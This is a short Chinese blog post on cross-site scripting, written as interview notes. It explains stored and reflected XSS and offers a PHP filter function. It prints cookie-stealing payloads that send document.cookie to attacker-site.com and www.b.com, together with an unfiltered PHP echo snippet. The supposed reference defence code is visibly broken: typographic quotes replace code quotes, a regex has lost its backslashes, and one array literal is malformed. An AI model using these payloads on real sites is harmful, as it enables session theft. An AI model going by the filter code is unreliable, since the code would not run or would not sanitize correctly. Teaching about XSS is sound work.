XSS攻击相关

面试的时候好几次被问到,居然没有去总结一下,罪过!
XSS攻击:跨站脚本攻击(Cross Site Scripting),为了不和CSS重名,故写作XSS

####常见XSS攻击

#####1、存储式XSS攻击

######a、嵌入JS脚本,实现对用户浏览器的控制
攻击者在提交的数据里面插入一断JS,比如

1
<a href=# onclick=”document.location=’http://attacker-site.com/xss.php?c=’+escape(document.cookie);”>戳我呀</a>

该数据如果不经过过滤直接保存到数据据中,再放出来的时候会被浏览器渲染,不知情的用户点击 “戳我呀” 那么立刻就会执行这段JS,上述的js会直接将用户的cookie发送给攻击者。

######b、嵌入html标签
这个最简单易见,直接把页面的结构搞乱, 或者有这么一段 那页面就会不停的刷新。

#####2、非存储式XSS攻击
比如站点有这样的一个页面 http://www.aaa.com/index.php, index.php里面的代码如下

1
2
3
<?php
$name = $_GET['name'];
echo "welcome ", $name;

显然,代码里面没有对用户GET过来的数据进行过滤,此时攻击者如果伪造一个链接 如下:

1
http://www.aaa.com/index.php?name=<script>window.open(“www.b.com?param=”+document.cookie)</script>

并把它发给一个无辜的用户,如果此时这个用户正好是登录aaa.com 这个站点的时候,那悲剧了,它的cookie将会被攻击者盗走,自己却全然不知。

#####q:怎么防御?a:永远不要相信用户发来的数据,严格过滤
附上一段代码,以后作为参考!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function clean_xss(&$string, $low = False) {
if (! is_array ( $string )) {
$string = trim ( $string );
$string = strip_tags ( $string );
$string = htmlspecialchars ( $string );
if ($low) {
return True;
}
$string = str_replace ( array (‘”‘, “\”, “‘”, “/”, “..”, “../”, “./”, “//” ), ”, $string );
$no = ‘/%0[0-8bcef]/’;
$string = preg_replace ( $no, ”, $string );
$no = ‘/%1[0-9a-f]/’;
$string = preg_replace ( $no, ”, $string );
$no = ‘/[x00-x08x0Bx0Cx0E-x1Fx7F]+/S’;
$string = preg_replace ( $no, ”, $string );
return True;
}
$keys = array_keys ( $string );
foreach ( $keys as $key ) {
clean_xss ( $string [$key] );
}
}
//just a test
$str = ‘phpddt.com<meta http-equiv=”refresh” content=”0;”>’;
clean_xss($str); //如果你把这个注释掉,你就知道xss攻击的厉害了
echo $str;